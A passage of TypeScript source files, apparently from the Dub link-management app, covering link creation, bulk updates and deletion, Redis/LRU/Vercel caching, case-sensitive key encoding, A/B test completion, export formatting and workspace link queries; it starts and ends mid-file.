transformLink(link));\n}\n"
  },
  {
    "path": "apps/web/lib/api/links/bulk-delete-links.ts",
    "content": "import { storage } from \"@/lib/storage\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { prisma } from \"@dub/prisma\";\nimport { R2_URL } from \"@dub/utils\";\nimport { linkCache } from \"./cache\";\nimport { ExpandedLink } from \"./utils\";\n\nexport async function bulkDeleteLinks(links: ExpandedLink[]) {\n  if (links.length === 0) {\n    return;\n  }\n\n  return await Promise.all([\n    // Delete the links from Redis\n    linkCache.deleteMany(links),\n\n    // Record the links deletion in Tinybird\n    recordLink(links, { deleted: true }),\n\n    // For links that have an image, delete the image from R2\n    links\n      .filter((link) => link.image?.startsWith(`${R2_URL}/images/${link.id}`))\n      .map((link) =>\n        storage.delete({ key: link.image!.replace(`${R2_URL}/`, \"\") }),\n      ),\n\n    // Update totalLinks for the workspace\n    prisma.project.update({\n      where: {\n        id: links[0].projectId!,\n      },\n      data: {\n        totalLinks: { decrement: links.length },\n      },\n    }),\n  ]);\n}\n"
  },
  {
    "path": "apps/web/lib/api/links/bulk-update-links.ts",
    "content": "import { isNotHostedImage, storage } from \"@/lib/storage\";\nimport { bulkUpdateLinksBodySchema } from \"@/lib/zod/schemas/links\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { R2_URL, getParamsFromURL, nanoid, truncate } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { combineTagIds } from \"../tags/combine-tag-ids\";\nimport { includeProgramEnrollment } from \"./include-program-enrollment\";\nimport { includeTags } from \"./include-tags\";\nimport { propagateBulkLinkChanges } from \"./propagate-bulk-link-changes\";\nimport { transformLink } from \"./utils\";\n\nexport async function bulkUpdateLinks(\n  // omit externalIds from params\n  params: Omit<z.infer<typeof bulkUpdateLinksBodySchema>, \"externalIds\"> & {\n    workspaceId: string;\n  },\n) {\n  const { linkIds, data, workspaceId } = params;\n\n  const {\n    url,\n    title,\n    description,\n    image,\n    proxy,\n    expiresAt,\n    geo,\n    testVariants,\n    tagId,\n    tagIds,\n    tagNames,\n    webhookIds,\n    ...rest\n  } = data;\n\n  const combinedTagIds = combineTagIds({ tagId, tagIds });\n\n  const imageUrlNonce = nanoid(7);\n\n  const updatedLinks = await Promise.all(\n    linkIds.map((linkId) =>\n      prisma.link.update({\n        where: {\n          id: linkId,\n        },\n        data: {\n          ...rest,\n          url,\n          proxy,\n          title: title ? truncate(title, 120) : title,\n          description: description ? truncate(description, 240) : description,\n          image:\n            proxy && image && isNotHostedImage(image)\n              ? `${R2_URL}/images/${linkIds[0]}_${imageUrlNonce}`\n              : image,\n          expiresAt: expiresAt ? new Date(expiresAt) : expiresAt,\n          geo: geo === null ? Prisma.DbNull : geo,\n          testVariants: testVariants === null ? Prisma.DbNull : testVariants,\n\n          ...(url && getParamsFromURL(url)),\n          // Associate tags by tagNames\n          ...(tagNames &&\n            workspaceId && {\n              tags: {\n                deleteMany: {},\n                create: tagNames.map((tagName, idx) => ({\n                  tag: {\n                    connect: {\n                      name_projectId: {\n                        name: tagName,\n                        projectId: workspaceId as string,\n                      },\n                    },\n                  },\n                  createdAt: new Date(new Date().getTime() + idx * 100), // increment by 100ms for correct order\n                })),\n              },\n            }),\n\n          // Associate tags by IDs (takes priority over tagNames)\n          ...(combinedTagIds && {\n            tags: {\n              deleteMany: {},\n              create: combinedTagIds.map((tagId, idx) => ({\n                tagId,\n                createdAt: new Date(new Date().getTime() + idx * 100), // increment by 100ms for correct order\n              })),\n            },\n          }),\n\n          // Associate webhooks\n          ...(webhookIds && {\n            webhooks: {\n              deleteMany: {},\n              create: webhookIds.map((webhookId) => ({\n                webhookId,\n              })),\n            },\n          }),\n        },\n        include: {\n          ...includeTags,\n          ...includeProgramEnrollment,\n          webhooks: webhookIds ? { select: { webhookId: true } } : false,\n        },\n      }),\n    ),\n  );\n\n  waitUntil(\n    Promise.all([\n      // propagate changes to redis and tinybird\n      propagateBulkLinkChanges({\n        links: updatedLinks,\n      }),\n      // if proxy is true and image is not stored in R2, upload image to R2\n      proxy &&\n        image &&\n        isNotHostedImage(image) &&\n        storage.upload({\n          key: `images/${linkIds[0]}_${imageUrlNonce}`,\n          body: image,\n          opts: {\n            width: 1200,\n            height: 630,\n          },\n        }),\n    ]),\n  );\n\n  return updatedLinks.map((link) => transformLink(link));\n}\n"
  },
  {
    "path": "apps/web/lib/api/links/cache.ts",
    "content": "import { getLinkViaEdge } from \"@/lib/planetscale\";\nimport { LinkProps, RedisLinkProps } from \"@/lib/types\";\nimport {\n  formatRedisLink,\n  redisGlobal,\n  redisGlobalWithTimeout,\n} from \"@/lib/upstash\";\nimport { getCache, waitUntil } from \"@vercel/functions\";\nimport { LRUCache } from \"lru-cache\";\nimport { decodeKey, isCaseSensitiveDomain } from \"./case-sensitivity\";\nimport { ExpandedLink } from \"./utils/transform-link\";\n\n/*\n * Link LRU cache to reduce Redis load during traffic spikes.\n * Max 10,000 entries with 5-second TTL.\n */\nconst linkLRUCache = new LRUCache<string, RedisLinkProps>({\n  max: 10000, // max 10,000 entries\n  ttl: 5000, // 5 seconds\n});\n/*\n * When traffic spikes, new Fluid instances are spun up.\n * Since LRUCache is not shared between Fluid instances,\n * we fallback to Vercel cache if both LRUCache/Redis are not available\n */\nexport const vercelCache = getCache();\n\nconst VERCEL_CACHE_EXPIRATION = 60 * 5; // 5 minutes\nconst REDIS_CACHE_EXPIRATION = 60 * 60 * 24;\n\nclass LinkCache {\n  async mset(links: ExpandedLink[]) {\n    if (links.length === 0) {\n      return;\n    }\n\n    const pipeline = redisGlobal.pipeline();\n\n    links.forEach((link) => {\n      const redisLink = formatRedisLink(link);\n      const cacheKey = this._createKey({ domain: link.domain, key: link.key });\n      pipeline.set(cacheKey, redisLink, { ex: REDIS_CACHE_EXPIRATION });\n    });\n\n    return await pipeline.exec();\n  }\n\n  async set(link: ExpandedLink) {\n    const redisLink = formatRedisLink(link);\n    const cacheKey = this._createKey({ domain: link.domain, key: link.key });\n\n    // Update LRU cache immediately to prevent stale reads\n    linkLRUCache.set(cacheKey, redisLink);\n\n    await Promise.all([\n      redisGlobal.set(cacheKey, redisLink, {\n        ex: REDIS_CACHE_EXPIRATION,\n      }),\n      this._invalidateVercelCache(cacheKey),\n    ]);\n  }\n\n  async get({ domain, key }: Pick<LinkProps, \"domain\" | \"key\">) {\n    // here we use linkcache:${domain}:${key} instead of this._createKey({ domain, key })\n    // because the key can either be cached as case-sensitive or case-insensitive depending on the domain\n    // so we should get the original key from the cache\n    const cacheKey = `linkcache:${domain}:${key}`;\n\n    // Check LRU cache first\n    let cachedLink = linkLRUCache.get(cacheKey) || null;\n\n    if (cachedLink) {\n      console.log(`[LRU Cache HIT] ${cacheKey}`);\n      linkLRUCache.set(cacheKey, cachedLink); // refresh the LRU cache\n      return cachedLink;\n    }\n\n    console.log(`[LRU Cache MISS] ${cacheKey} - Checking redisGlobal...`);\n\n    try {\n      // Fallback to redisGlobal if LRU cache miss\n      cachedLink = await redisGlobalWithTimeout.get<RedisLinkProps>(cacheKey);\n\n      if (cachedLink) {\n        console.log(`[Redis Cache HIT] ${cacheKey} - Populating LRU Cache...`);\n        linkLRUCache.set(cacheKey, cachedLink); // persist to LRU cache\n        return cachedLink;\n      } else {\n        console.log(\n          `[Redis Cache MISS] ${cacheKey} - Not found in LRU or Redis, falling back to MySQL...`,\n        );\n        return null;\n      }\n    } catch (error) {\n      console.error(`[Redis Cache Error] ${cacheKey} - ${error}`);\n\n      cachedLink = (await vercelCache.get(cacheKey)) as RedisLinkProps | null;\n      if (cachedLink) {\n        console.log(`[Vercel Cache HIT] ${cacheKey}`);\n        linkLRUCache.set(cacheKey, cachedLink);\n        return cachedLink;\n      }\n\n      console.log(`[Vercel Cache MISS] ${cacheKey} - Falling back to MySQL...`);\n\n      const linkData = await getLinkViaEdge({\n        domain,\n        key,\n      });\n      if (!linkData) {\n        // if no link found (and Redis fails), throw a 404 error (don't rewrite to /not-found since it's expensive)\n        throw new Error(\"Link not found.\");\n      }\n      // else, format the link and cache it both in LRU cache and Vercel cache\n      cachedLink = formatRedisLink(linkData as any);\n      console.log(`Setting both LRU cache and Vercel cache for ${cacheKey}`);\n      linkLRUCache.set(cacheKey, cachedLink);\n      waitUntil(\n        vercelCache.set(cacheKey, cachedLink, {\n          ttl: VERCEL_CACHE_EXPIRATION,\n        }),\n      );\n      return cachedLink;\n    }\n  }\n\n  async delete({ domain, key }: Pick<LinkProps, \"domain\" | \"key\">) {\n    const cacheKey = this._createKey({ domain, key });\n    waitUntil(this._invalidateVercelCache(cacheKey));\n    return await redisGlobal.del(cacheKey);\n  }\n\n  async deleteMany(links: Pick<LinkProps, \"domain\" | \"key\">[]) {\n    if (links.length === 0) {\n      return;\n    }\n\n    const pipeline = redisGlobal.pipeline();\n\n    links.forEach(({ domain, key }) => {\n      pipeline.del(this._createKey({ domain, key }));\n    });\n\n    return await pipeline.exec();\n  }\n\n  async expireMany(links: Pick<LinkProps, \"domain\" | \"key\">[]) {\n    if (links.length === 0) {\n      return;\n    }\n\n    const pipeline = redisGlobal.pipeline();\n\n    links.forEach(({ domain, key }) => {\n      // expire the link cache key immediately\n      pipeline.expire(this._createKey({ domain, key }), 1);\n    });\n\n    return await pipeline.exec();\n  }\n\n  _createKey({ domain, key }: Pick<LinkProps, \"domain\" | \"key\">) {\n    const caseSensitive = isCaseSensitiveDomain(domain);\n    const originalKey = caseSensitive ? decodeKey(key) : key;\n    const cacheKey = `linkcache:${domain}:${originalKey}`;\n\n    return caseSensitive ? cacheKey : cacheKey.toLowerCase();\n  }\n\n  // Vercel cache reads are 10x cheaper than writes, so to invalidate the cache\n  // we check if the value is cached first before deleting it.\n  async _invalidateVercelCache(cacheKey: string) {\n    return vercelCache\n      .get(cacheKey)\n      .then((cachedLink) =>\n        cachedLink ? vercelCache.delete(cacheKey) : undefined,\n      );\n  }\n}\n\nexport const linkCache = new LinkCache();\n"
  },
  {
    "path": "apps/web/lib/api/links/case-sensitivity.ts",
    "content": "// This is not actually a secret key, it's just a string that we XOR with the key to make it case sensitive\nconst XOR_SECRET_KEY = \"58ff90c0dc372ded858cbf8fb2306066\";\n\nexport const CASE_SENSITIVE_DOMAINS = [\n  \"biltapp.link\",\n  \"buff.ly\",\n  \"dub-internal-test.com\",\n  \"go.homeserve.fr\",\n  \"go.homeserve.be\",\n  \"jbbr.pro\",\n  \"new.biltapp.link\",\n];\n\nexport const encodeKey = (text: string): string => {\n  if (!text) return \"\";\n\n  const xored = text\n    .split(\"\")\n    .map((char, i) =>\n      String.fromCharCode(\n        char.charCodeAt(0) ^\n          XOR_SECRET_KEY.charCodeAt(i % XOR_SECRET_KEY.length),\n      ),\n    )\n    .join(\"\");\n\n  return Buffer.from(xored).toString(\"base64\");\n};\n\nexport const decodeKey = (hash: string): string => {\n  if (!hash) return \"\";\n\n  const xored = Buffer.from(hash, \"base64\").toString();\n\n  return xored\n    .split(\"\")\n    .map((char, i) =>\n      String.fromCharCode(\n        char.charCodeAt(0) ^\n          XOR_SECRET_KEY.charCodeAt(i % XOR_SECRET_KEY.length),\n      ),\n    )\n    .join(\"\");\n};\n\n// check if the domain is case sensitive\nexport const isCaseSensitiveDomain = (domain: string) => {\n  return CASE_SENSITIVE_DOMAINS.includes(domain);\n};\n\n// encode the key if the domain is case sensitive\nexport const encodeKeyIfCaseSensitive = ({\n  domain,\n  key,\n}: {\n  domain: string;\n  key: string;\n}) => {\n  return isCaseSensitiveDomain(domain) ? encodeKey(key) : key;\n};\n\n// decode the key if the domain is case sensitive\nexport const decodeKeyIfCaseSensitive = ({\n  domain,\n  key,\n}: {\n  domain: string;\n  key: string;\n}) => {\n  return isCaseSensitiveDomain(domain) ? decodeKey(key) : key;\n};\n\n// decode the link if the domain is case sensitive\nexport const decodeLinkIfCaseSensitive = (link: any) => {\n  if (isCaseSensitiveDomain(link.domain)) {\n    const originalKey = decodeKey(link.key);\n\n    return {\n      ...link,\n      key: originalKey,\n      ...(link.shortLink && {\n        shortLink: `https://${link.domain}${originalKey === \"_root\" ? \"\" : `/${originalKey}`}`,\n      }),\n    };\n  }\n\n  return link;\n};\n"
  },
  {
    "path": "apps/web/lib/api/links/complete-ab-tests.ts",
    "content": "import { getAnalytics } from \"@/lib/analytics/get-analytics\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport { ABTestVariantsSchema, linkEventSchema } from \"@/lib/zod/schemas/links\";\nimport { prisma } from \"@dub/prisma\";\nimport { Link } from \"@dub/prisma/client\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { linkCache } from \"./cache\";\nimport { includeProgramEnrollment } from \"./include-program-enrollment\";\nimport { includeTags } from \"./include-tags\";\n\nexport async function completeABTests(link: Link) {\n  if (!link.testVariants || !link.testCompletedAt || !link.projectId) {\n    return;\n  }\n\n  const testVariants = ABTestVariantsSchema.parse(link.testVariants);\n\n  const analytics: { url: string; leads: number }[] = await getAnalytics({\n    event: \"leads\",\n    groupBy: \"top_base_urls\",\n    linkId: link.id,\n    workspaceId: link.projectId,\n    start: link.testStartedAt ? new Date(link.testStartedAt) : undefined,\n    end: link.testCompletedAt,\n  });\n\n  const max = Math.max(\n    ...testVariants.map(\n      (test) => analytics.find(({ url }) => url === test.url)?.leads || 0,\n    ),\n  );\n\n  // There are no leads generated for any test variant, do nothing\n  if (max === 0) {\n    console.log(\n      `AB Test completed but all results are zero for ${link.id}, doing nothing.`,\n    );\n    return;\n  }\n\n  const winners = testVariants.filter(\n    (test) =>\n      (analytics.find(({ url }) => url === test.url)?.leads || 0) === max,\n  );\n\n  // this should NEVER happen, but just in case\n  if (winners.length === 0) {\n    console.log(\n      `AB Test completed but failed to find winners based on max leads for link ${link.id}, doing nothing.`,\n    );\n    return;\n  }\n\n  const winner = winners[Math.floor(Math.random() * winners.length)];\n\n  if (winner.url === link.url) {\n    return;\n  }\n\n  const response = await prisma.link.update({\n    where: {\n      id: link.id,\n    },\n    data: {\n      url: winner.url,\n    },\n    include: {\n      ...includeTags,\n      ...includeProgramEnrollment,\n      project: true,\n    },\n  });\n\n  waitUntil(\n    Promise.allSettled([\n      // update the link cache\n      linkCache.set(response),\n      // record the link\n      recordLink(response),\n      // send a link.updated webhook to the workspace\n      response.project &&\n        sendWorkspaceWebhook({\n          trigger: \"link.updated\",\n          workspace: response.project,\n          data: linkEventSchema.parse(response),\n        }),\n    ]),\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/api/links/create-link.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { getPartnerEnrollmentInfo } from \"@/lib/planetscale/get-partner-enrollment-info\";\nimport { isNotHostedImage, storage } from \"@/lib/storage\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { ProcessedLinkProps } from \"@/lib/types\";\nimport { propagateWebhookTriggerChanges } from \"@/lib/webhook/update-webhook\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport {\n  APP_DOMAIN_WITH_NGROK,\n  R2_URL,\n  getParamsFromURL,\n  truncate,\n} from \"@dub/utils\";\nimport { linkConstructorSimple } from \"@dub/utils/src/functions/link-constructor\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { createId } from \"../create-id\";\nimport { combineTagIds } from \"../tags/combine-tag-ids\";\nimport { withPrismaRetry } from \"../utils/with-prisma-retry\";\nimport { scheduleABTestCompletion } from \"./ab-test-scheduler\";\nimport { linkCache } from \"./cache\";\nimport { encodeKeyIfCaseSensitive } from \"./case-sensitivity\";\nimport { includeTags } from \"./include-tags\";\nimport { updateLinksUsage } from \"./update-links-usage\";\nimport { transformLink } from \"./utils\";\n\nexport async function createLink(link: ProcessedLinkProps) {\n  let {\n    key,\n    url,\n    expiresAt,\n    title,\n    description,\n    image,\n    proxy,\n    geo,\n    publicStats,\n    testVariants,\n    testStartedAt,\n    testCompletedAt,\n  } = link;\n\n  const combinedTagIds = combineTagIds(link);\n\n  const { utm_source, utm_medium, utm_campaign, utm_term, utm_content } =\n    getParamsFromURL(url);\n\n  const { tagId, tagIds, tagNames, webhookIds, ...rest } = link;\n\n  key = encodeKeyIfCaseSensitive({\n    domain: link.domain,\n    key,\n  });\n\n  const response = await withPrismaRetry(() =>\n    prisma.link.create({\n      data: {\n        ...rest,\n        id: createId({ prefix: \"link_\" }),\n        key,\n        shortLink: linkConstructorSimple({ domain: link.domain, key }),\n        title: truncate(title, 120),\n        description: truncate(description, 240),\n        // if it's an uploaded image, make this null first because we'll update it later\n        image: proxy && image && isNotHostedImage(image) ? null : image,\n        utm_source,\n        utm_medium,\n        utm_campaign,\n        utm_term,\n        utm_content,\n        expiresAt: expiresAt ? new Date(expiresAt) : null,\n        geo: geo || Prisma.DbNull,\n\n        testVariants: testVariants || Prisma.DbNull,\n        testCompletedAt: testCompletedAt ? new Date(testCompletedAt) : null,\n        testStartedAt: testStartedAt ? new Date(testStartedAt) : null,\n\n        // Associate tags by tagNames\n        ...(tagNames?.length &&\n          link.projectId && {\n            tags: {\n              create: tagNames.map((tagName, idx) => ({\n                tag: {\n                  connect: {\n                    name_projectId: {\n                      name: tagName,\n                      projectId: link.projectId as string,\n                    },\n                  },\n                },\n                createdAt: new Date(new Date().getTime() + idx * 100), // increment by 100ms for correct order\n              })),\n            },\n          }),\n\n        // Associate tags by IDs (takes priority over tagNames)\n        ...(combinedTagIds &&\n          combinedTagIds.length > 0 && {\n            tags: {\n              createMany: {\n                data: combinedTagIds.map((tagId, idx) => ({\n                  tagId,\n                  createdAt: new Date(new Date().getTime() + idx * 100), // increment by 100ms for correct order\n                })),\n              },\n            },\n          }),\n\n        // Webhooks\n        ...(webhookIds &&\n          webhookIds.length > 0 && {\n            webhooks: {\n              createMany: {\n                data: webhookIds.map((webhookId) => ({\n                  webhookId,\n                })),\n              },\n            },\n          }),\n\n        // Shared dashboard\n        ...(publicStats && {\n          dashboard: {\n            create: {\n              id: createId({ prefix: \"dash_\" }),\n              projectId: link.projectId,\n              userId: link.userId,\n            },\n          },\n        }),\n      },\n      include: {\n        ...includeTags,\n        // no need to includeProgramEnrollment because we're doing getPartnerEnrollmentInfo below\n        webhooks: webhookIds ? true : false,\n      },\n    }),\n  );\n\n  const uploadedImageUrl = `${R2_URL}/images/${response.id}`;\n\n  waitUntil(\n    (async () => {\n      const { partner, discount } = await getPartnerEnrollmentInfo({\n        programId: response.programId,\n        partnerId: response.partnerId,\n      });\n\n      await Promise.allSettled([\n        // Cache link in Redis\n        linkCache.set({\n          ...response,\n          ...(partner && { partner }),\n          ...(discount && { discount }),\n        }),\n\n        // Record link in Tinybird\n        recordLink({\n          ...response,\n          ...(partner?.groupId && {\n            programEnrollment: { groupId: partner.groupId },\n          }),\n        }),\n\n        // Upload image to R2 and update the link with the uploaded image URL when\n        // proxy is enabled and image is set and is not a hosted image URL\n        ...(proxy && image && isNotHostedImage(image)\n          ? [\n              // upload image to R2\n              storage.upload({\n                key: `images/${response.id}`,\n                body: image,\n                opts: {\n                  width: 1200,\n                  height: 630,\n                },\n              }),\n              // update the null image we set earlier to the uploaded image URL\n              prisma.link.update({\n                where: {\n                  id: response.id,\n                },\n                data: {\n                  image: uploadedImageUrl,\n                },\n              }),\n            ]\n          : []),\n\n        // Delete public links after 30 mins\n        !response.userId &&\n          qstash.publishJSON({\n            url: `${APP_DOMAIN_WITH_NGROK}/api/cron/links/delete`,\n            // delete after 30 mins\n            delay: 30 * 60,\n            body: {\n              linkId: response.id,\n            },\n          }),\n\n        // Update links usage for workspace\n        link.projectId &&\n          updateLinksUsage({\n            workspaceId: link.projectId,\n            increment: 1,\n          }),\n\n        // Propagate webhook trigger changes\n        webhookIds &&\n          propagateWebhookTriggerChanges({\n            webhookIds,\n          }),\n\n        // Schedule AB test completion\n        testVariants && testCompletedAt && scheduleABTestCompletion(response),\n      ]);\n    })(),\n  );\n\n  return {\n    ...transformLink(response),\n    // optimistically set the image URL to the uploaded image URL\n    image:\n      proxy && image && isNotHostedImage(image)\n        ? uploadedImageUrl\n        : response.image,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/api/links/delete-link.ts",
    "content": "import { storage } from \"@/lib/storage\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { prisma } from \"@dub/prisma\";\nimport { R2_URL } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { deleteDiscountCodes } from \"../discounts/delete-discount-code\";\nimport { linkCache } from \"./cache\";\nimport { includeProgramEnrollment } from \"./include-program-enrollment\";\nimport { includeTags } from \"./include-tags\";\nimport { transformLink } from \"./utils\";\n\nexport async function deleteLink(linkId: string) {\n  const link = await prisma.link.delete({\n    where: {\n      id: linkId,\n    },\n    include: {\n      ...includeTags,\n      ...includeProgramEnrollment,\n      discountCode: true,\n    },\n  });\n\n  waitUntil(\n    Promise.allSettled([\n      // if there's a valid image and it has the same link ID, delete it\n      link.image &&\n        link.image.startsWith(`${R2_URL}/images/${link.id}`) &&\n        storage.delete({ key: link.image.replace(`${R2_URL}/`, \"\") }),\n\n      // Remove the link from Redis\n      linkCache.delete(link),\n\n      // Record link in the Tinybird\n      recordLink(link, { deleted: true }),\n\n      link.projectId &&\n        prisma.project.update({\n          where: {\n            id: link.projectId,\n          },\n          data: {\n            totalLinks: { decrement: 1 },\n          },\n        }),\n\n      link.discountCode && deleteDiscountCodes(link.discountCode),\n    ]),\n  );\n\n  return transformLink(link);\n}\n"
  },
  {
    "path": "apps/web/lib/api/links/format-links-for-export.ts",
    "content": "import { exportLinksColumns } from \"@/lib/zod/schemas/links\";\nimport { linkConstructor } from \"@dub/utils\";\nimport { transformLink } from \"./utils\";\n\nconst columnMap = exportLinksColumns.reduce(\n  (acc, column, index) => {\n    acc[column.id] = { ...column, order: index + 1 };\n    return acc;\n  },\n  {} as Record<string, (typeof exportLinksColumns)[number] & { order: number }>,\n);\n\nexport function formatLinksForExport(\n  links: ReturnType<typeof transformLink>[],\n  columns: string[],\n): Record<string, any>[] {\n  // Remove the columns that are not in exportLinksColumns\n  columns = columns.filter((column) =>\n    exportLinksColumns.some((c) => c.id === column),\n  );\n\n  const sortedColumns = columns.sort(\n    (a, b) => (columnMap[a]?.order || 999) - (columnMap[b]?.order || 999),\n  );\n\n  // Format each link\n  return links.map((link) => {\n    const result: Record<string, any> = {};\n\n    sortedColumns.forEach((column) => {\n      let value: unknown;\n\n      // Handle special cases before parsing\n      if (column === \"link\") {\n        value = linkConstructor({ domain: link.domain, key: link.key });\n      } else if (column === \"tags\") {\n        value = link.tags?.map((tag) => tag.name) || [];\n      } else {\n        value = link[column];\n      }\n\n      const { label, transform } = columnMap[column];\n\n      if (transform) {\n        result[label] = transform(value);\n      } else {\n        result[label] = value;\n      }\n    });\n\n    return result;\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/api/links/get-link-or-throw.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Link } from \"@dub/prisma/client\";\nimport { DubApiError } from \"../errors\";\nimport { prefixWorkspaceId } from \"../workspaces/workspace-id\";\nimport {\n  decodeLinkIfCaseSensitive,\n  encodeKeyIfCaseSensitive,\n} from \"./case-sensitivity\";\n\ninterface GetLinkParams {\n  workspaceId: string;\n  linkId?: string;\n  externalId?: string;\n  domain?: string;\n  key?: string;\n  includeUser?: boolean;\n  includeWebhooks?: boolean;\n}\n\n// Get link or throw error if not found or doesn't belong to workspace\nexport const getLinkOrThrow = async (params: GetLinkParams) => {\n  let {\n    workspaceId,\n    domain,\n    key,\n    externalId,\n    includeUser = false,\n    includeWebhooks = false,\n  } = params;\n  let link: Link | null = null;\n\n  const linkId = params.linkId || params.externalId || undefined;\n\n  if (domain && (!key || key === \"\")) {\n    key = \"_root\";\n  }\n\n  // Get link by linkId or externalId\n  if (linkId) {\n    link = await prisma.link.findUnique({\n      where: {\n        ...(linkId.startsWith(\"ext_\") && workspaceId\n          ? {\n              projectId_externalId: {\n                projectId: workspaceId,\n                externalId: linkId.replace(\"ext_\", \"\"),\n              },\n            }\n          : { id: linkId }),\n      },\n      include: {\n        webhooks: includeWebhooks,\n        user: includeUser,\n      },\n    });\n  }\n\n  // Get link by domain and key\n  else if (domain && key) {\n    key = encodeKeyIfCaseSensitive({\n      domain,\n      key,\n    });\n\n    link = await prisma.link.findUnique({\n      where: {\n        domain_key: {\n          domain,\n          key,\n        },\n      },\n      include: {\n        webhooks: includeWebhooks,\n        user: includeUser,\n      },\n    });\n  }\n\n  if (!link) {\n    if (externalId && !externalId.startsWith(\"ext_\")) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Invalid externalId. Did you forget to prefix it with `ext_`?\",\n      });\n    }\n\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Link not found.\",\n    });\n  }\n\n  if (link.projectId !== workspaceId) {\n    throw new DubApiError({\n      code: \"unauthorized\",\n      message: `Link does not belong to workspace ${prefixWorkspaceId(workspaceId)}.`,\n    });\n  }\n\n  return decodeLinkIfCaseSensitive(link);\n};\n"
  },
  {
    "path": "apps/web/lib/api/links/get-links-count.ts",
    "content": "import { combineTagIds } from \"@/lib/api/tags/combine-tag-ids\";\nimport { getLinksCountQuerySchema } from \"@/lib/zod/schemas/links\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\n\ninterface GetLinksCountParams extends z.infer<typeof getLinksCountQuerySchema> {\n  workspaceId: string;\n  folderIds?: string[];\n}\n\nexport async function getLinksCount({\n  groupBy,\n  search,\n  domain,\n  tagId,\n  tagIds,\n  tagNames,\n  userId,\n  showArchived,\n  withTags,\n  folderId,\n  tenantId,\n  workspaceId,\n  folderIds,\n}: GetLinksCountParams) {\n  const combinedTagIds = combineTagIds({ tagId, tagIds });\n\n  const linksWhere = {\n    projectId: workspaceId,\n    AND: [\n      ...(folderIds\n        ? [\n            {\n              OR: [\n                {\n                  folderId: {\n                    in: folderIds,\n                  },\n                },\n                {\n                  folderId: null,\n                },\n              ],\n            },\n          ]\n        : groupBy !== \"folderId\"\n          ? [\n              {\n                folderId: folderId || null,\n              },\n            ]\n          : []),\n      ...(search\n        ? [\n            {\n              OR: [\n                { shortLink: { contains: search } },\n                { url: { contains: search } },\n              ],\n            },\n          ]\n        : []),\n    ],\n    archived: showArchived ? undefined : false,\n    ...(domain &&\n      groupBy !== \"domain\" && {\n        domain,\n      }),\n    ...(userId &&\n      groupBy !== \"userId\" && {\n        userId,\n      }),\n    ...(tenantId && { tenantId }),\n  };\n\n  if (groupBy === \"tagId\") {\n    return await prisma.linkTag.groupBy({\n      by: [\"tagId\"],\n      where: {\n        link: linksWhere,\n      },\n      _count: true,\n      orderBy: {\n        _count: {\n          tagId: \"desc\",\n        },\n      },\n    });\n  } else {\n    const where = {\n      ...linksWhere,\n      ...(withTags && {\n        tags: {\n          some: {},\n        },\n      }),\n      ...(combinedTagIds && combinedTagIds.length > 0\n        ? {\n            tags: { some: { tagId: { in: combinedTagIds } } },\n          }\n        : tagNames\n          ? {\n              tags: {\n                some: {\n                  tag: {\n                    name: {\n                      in: tagNames,\n                    },\n                  },\n                },\n              },\n            }\n          : {}),\n    };\n\n    if (\n      groupBy === \"domain\" ||\n      groupBy === \"userId\" ||\n      groupBy === \"folderId\"\n    ) {\n      return await prisma.link.groupBy({\n        by: [groupBy],\n        where,\n        _count: true,\n        orderBy: {\n          _count: {\n            [groupBy]: \"desc\",\n          },\n        },\n      });\n    } else {\n      return await prisma.link.count({\n        where,\n      });\n    }\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/api/links/get-links-for-workspace.ts",
    "content": "import { getLinksQuerySchemaExtended } from \"@/lib/zod/schemas/links\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { DubApiError } from \"../errors\";\nimport { buildPaginationQuery } from \"../pagination\";\nimport { combineTagIds } from \"../tags/combine-tag-ids\";\nimport { encodeKeyIfCaseSensitive } from \"./case-sensitivity\";\nimport { transformLink } from \"./utils\";\n\nexport interface GetLinksForWorkspaceProps\n  extends z.infer<typeof getLinksQuerySchemaExtended> {\n  workspaceId: string;\n  folderIds?: string[];\n  startDate?: Date;\n  endDate?: Date;\n}\n\nexport async function getLinksForWorkspace(filters: GetLinksForWorkspaceProps) {\n  let {\n    workspaceId,\n    domain,\n    tagId,\n    tagIds,\n    tagNames,\n    search,\n    searchMode,\n    sort,\n    userId,\n    showArchived,\n    withTags,\n    folderId,\n    folderIds,\n    linkIds,\n    includeUser,\n    includeWebhooks,\n    includeDashboard,\n    tenantId,\n    partnerId,\n    startDate,\n    endDate,\n  } = filters;\n\n  // Support legacy sort param\n  if (sort && sort !== \"createdAt\") {\n    filters = { ...filters, sortBy: sort };\n  }\n\n  const paginationQuery = buildPaginationQuery(filters);\n\n  // Validate the provided cursor ID\n  const cursorId = filters.startingAfter || filters.endingBefore;\n\n  if (cursorId) {\n    const link = await prisma.link.findUnique({\n      where: {\n        id: cursorId,\n      },\n      select: {\n        id: true,\n        projectId: true,\n      },\n    });\n\n    if (!link || link.projectId !== workspaceId) {\n      throw new DubApiError({\n        code: \"unprocessable_entity\",\n        message: \"Invalid cursor: the provided ID does not exist.\",\n      });\n    }\n  }\n\n  const combinedTagIds = combineTagIds({ tagId, tagIds });\n\n  if (searchMode === \"exact\" && search) {\n    try {\n      const url = new URL(search);\n      const domain = url.hostname;\n      const key = url.pathname.slice(1);\n\n      if (key) {\n        const encodedKey = encodeKeyIfCaseSensitive({\n          domain,\n          key,\n        });\n\n        search = search.replace(key, encodedKey);\n      }\n    } catch (e) {}\n  }\n\n  const links = await prisma.link.findMany({\n    where: {\n    